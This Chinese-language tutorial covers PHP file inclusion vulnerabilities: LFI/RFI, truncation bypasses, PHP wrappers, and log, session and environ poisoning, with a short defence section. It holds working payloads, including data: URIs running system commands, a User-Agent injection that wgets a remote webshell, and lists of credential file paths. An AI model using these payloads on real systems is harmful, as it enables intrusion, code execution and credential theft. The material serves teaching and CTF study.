0x00 简介
什么是文件包含:
简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
漏洞成因:
在包含文件时候,为了灵活包含文件,将被包含的文件设置为变量,且外部可控。如果这个可控变量在服务器端未作合理地校验或者能别绕过,就会导致文件包含漏洞。通常文件包含漏洞出现在php语言中。
0x01 相关函数
php有四个引发文件包含漏洞的函数:
include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时,给出警告,继续向下执行。
include_once()
功能与include()相同,区别在于当重复调用统一文件时,程序只调用一次。
require()
require()与include的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once()
功能与require()相同,区别在于当重复调用统一文件时,程序只调用一次。
简单来讲它们的区别就是:
require报错直接退出,include抛出警告继续执行。而xx_once,主要是用来避免函数重定义或变量重赋值等问题。
当利用这四个函数包含文件时,不管什么类型的文件,都会被当作php解析。
想要成功利用文件包含漏洞,需要满足两个条件:
include等函数通过动态变量的方式引入需要包含的文件。
用户能够控制该动态变量。
除了这四个函数外,php中能对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行php代码,但能够读取敏感信息带来的后果也很严重。
如
fopen()
fread()
...
0x02 分类
LFI(本地文件包含)
例:
<?php
$file = $_GET['file'];
if(file_exists('E:/phpstudy_pro/include_test/'.$file.'.php')){
include 'E:/phpstudy_pro/include_test/'.$file.'.php';
}
?>
这里是一个文件包含的实例代码,但是要解决一个后缀限制问题,我们可以采用00截断的方式绕过php后缀。
这里再重温一次00截断,PHP内核是由C实现的,因此使用了C语言中中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。
开始的时候并未截断成功,排查后,发现是php的 magic_quotes_gpc
未设置为OFF。
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括:post、get、cookie过来的数据增加转义字符 “\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在 magic_quotes_gpc
打开,%00会被转义为\0两个单体字符,不再具有截断功能。
还需要注意的一点是php版本需要为5.3.4以下
有些程序过滤了\0字节
但是这样并没有完全解决问题,利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
Windows下256字节
Linux下4096字节
达到最大值,最大值长度之后的字符串将被丢弃。
可以采用以下方式构造长的目录:
./././././././././././abc
///////////////abc
../1/abc/../1/abc/../1/abc
上面的例子可以看到,我们使用了“../../”这样的方式来返回到上层目录中,这被称作目录遍历,还可以通过不同的编码方式来绕过一些服务器端逻辑。
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了 open_basedir
时,将很好地保护服务器,使得这种攻击无效。
open_basedir
的作用是限制在某个特定目录下PHP能打开的文件
RFI(远程文件包含)
条件较为苛刻:
需要在php.ini中进行配置
allow_url_fopen=On
allow_url_include=On
在php.ini中,allow_url_fopen
默认为On,而allow_url_include从php5.2之后就默认为Off了。
例:
<?php
if ($route == "share") {
require_once $basePath.'/action/m_share.php';
}elseif ($route == "sharelinnk")
?>
payload:?file=[http|https|ftp]://websec.wordpress.com/shell.txt
0x03 包含姿势
测试代码
<?php
$file=$_GET['file'];
include $file;
?>
1) PHP伪协议
php://input
利用条件:allow_url_include=On
它是个可以访问请求的原始数据的只读流。(这里的原始数据指的是POST数据)
利用伪协议的这种性质,我们可以将LFI衍生为一个代码执行的漏洞。
还有一点,enctype="multipart/form-data"的时候 php://input
是无效的。
php://filter
利用条件:无特殊
这是我们常常使用的一个伪协议,在任意文件读取,甚至是getshell的时候都有利用的机会。
php://filter
是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用类似 readfile()
、 file()
、 file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器。
其参数:
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须。指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
write=<写链的筛选列表> | 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
<; 两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链 |
例如:
index.php?file=php://filter/convert.base64-encode/resource=index.php
这段payload和上面效果一致的,少了read等关键字。在绕过一些waf时也许有用。
base64就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。
或者向磁盘写入文件
<?php
/*这会通过 rot13 过滤器筛选出字符 "Hello World" 然后写入当前目录下的 example.txt*/
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
phar://
利用条件:php版本大于等于5.3.0
phar是一个文件归档的包,类似于java中的Jar文件,方便了php模块的迁移。
加入有个文件phpinfo.txt,其内容为 <?php phpinfo(); ?>
,打包成压缩包,如下:
首先用phar类打包一个phar标准包
<?php
$p = new PharData(dirname(__FILE__).'/test.zip',0,'test',Phar::ZIP);
$x=file_get_contents('./info.php');
$p->addFromString('a.jpg',$x);
?>
会生成一个zip的压缩文件,然后构造
?file=phar://test.zip/a.jpg
采用点:
当如我们前文例题,对包含的后缀名做了限制(include $file.'.php'),而又不能做00截断的时候,可以采用这种方法尝试,上传一个phar文件,再利用php伪协议包含。
zip://
利用条件:php版本大于等于5.3.0
这个和phar类似。
但是需要将 #
编码为 %23
,之后写上压缩包内容。
data:URL schema
利用条件:
1、php版本大于等于5.2
2、allow_url_fopen=On
3、allow_url_include=On
payload:
127.0.0.1/test/LFI.php?file=data:text/plain,<?php phpinfo();?>
127.0.0.1/test/LFI.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
也可以用来读php文件源码或者命令执行
payload:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
data:text/plain,<?php system(‘whoami’)?>
php伪协议常出现在ctf中,总结如下
2) 包含session
利用条件:session文件路径已知,且其中内容部分可控。条件较为苛刻
没有通用的方法
x|s:19:"<?php phpinfo(); ?>"
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
3) 包含日志
访问日志
利用条件:需要知道服务器日志的存储路径,且日志文件可读
很多时候,web服务器会将请求写到日志文件中,比如apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下保存在/var/log/apache2/。
直接在burpsuite中get地址写payload就行了,写浏览器里会有url编码的问题
常见的路径
/etc/httpd/logs/access_log
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
SSH log
利用条件:需要知道ssh-log的位置,且可读。默认为/var/log/auth.log
ssh连接
ssh '<?php phpinfo(); ?>'@remotehost
4) 包含environ
利用条件:
1、Php以cgi方式运行,这样environ才会保持UA头
2、environ文件存储位置已知,且environ文件可读
检查proc/self/environ是否可访问
www.xxx.com/view.php?page=../../../../proc/self/environ
可访问则可以利用
在burpsuite改User-Agent
<?system('wget http://www.sss.com/oneword.txt -O shell.php');?>
5) 包含fd
类似environ
6) 包含临时文件
php中上传文件(以form-data),会创建临时文件。在Linux下使用/tmp目录,而在windows下时用c:\windows\temp目录。在临时文件被删除前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
7) 其余
一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生响应的文件,但这就需要具体问题具体分析了。
0x04 扩展
常见的敏感信息路径
Windows
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
0x05 防御方案
1、在很多场景都需要去包含web目录之外的文件,需要配置open_base
2、做好文件和目录的权限管理
3、对危险字符进行过滤